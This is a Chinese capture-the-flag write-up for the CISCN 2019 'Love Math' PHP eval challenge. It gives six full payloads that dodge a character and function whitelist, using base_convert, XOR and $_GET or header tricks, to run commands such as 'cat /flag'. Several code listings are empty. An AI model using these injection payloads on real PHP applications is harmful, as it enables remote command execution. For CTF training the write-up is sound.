[CISCN 2019 初赛]Love Math
题目
1 |
|
题目限制了参数的长度要小于80,且不能包含空格、制表符、换行、单双引号、反引号、[]。并且输入的字符串需要为 $whitelist 中的函数
单双引号被禁止了,函数名提取字符串就无法实现,但是可以想办法从函数的返回结果中获取。
base_convert
1 |
|
方法一
使用php函数readfile等函数读取文件,但是需要flag.php中的.。
相关函数:
- dechex 十进制转换为十六进制
- hexdec 十六进制转换为十进制
- hex2bin 转换十六进制字符串为二进制字符串
- bin2hex 函数把包含数据的二进制字符串转换为十六进制值
- pi作为变量是因为题目有长度限制,白名单中最短的就是这两个字符pi
这里获取.,借助dechex和hex2bin函数,不过hex2bin不在白名单里,还需用base_convert转换。
1 |
|
最后payload
1 |
($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36)); |
不过超出了长度限制
方法二
使用exec等命令执行nl /*
读取文件。
1 |
|
最终payload
1 |
?c=($pi=base_convert)(47138,20,36)($pi(3761671484,13,36)(dechex(474260451114))) |
不过这只能打印出同级目录文件下的flag,flag在其他位置就无法打印
方法三
刚开始我们知道可以异或出_
。并且$没有被 waf,因此我们可以使用$_GET
全局变量手动传入参数getshell。
虽然[]被过滤,我们依然可以使用{}来提取数组中的值。
1 |
|
最终payload
1 |
?0=system&1=cat /flag&c=$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1}) |
方法四
就是用可用的函数和字母进行异或生成大量的字母组合(php中函数名默认为字符串),然后寻找可用的组合
1 |
|
最终payload
1 |
?c=$pi=(is_infinite^(6).(4)).(rad2deg^(7).(5));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag |
方法五
如何构造出合适的base_convert进制转换
1 |
|
dechex的构造
1 |
|
paydload
1 |
?c=$pi=base_convert(3761671484,13,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=tac /flag |
方法六
相关函数:
- getallheaders:获取全部 HTTP 请求头信息
1 |
|
1 |
?c=$pi=base_convert,$pi(47138,20,36)($pi(8768397090111664438,10,30)(){1}) |
exec(getallheaders(){1}),可以获取请求头第一个字段的值,[]被waf可以用{}包囊数字来解决代替绕过中括号和引号
参考文章:
https://blog.csdn.net/qq_44657899/article/details/106104340
https://www.extrader.top/posts/a649e496
https://www.smi1e.top/%E5%9B%BD%E8%B5%9Blove_math%E9%A2%98%E8%A7%A3/
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论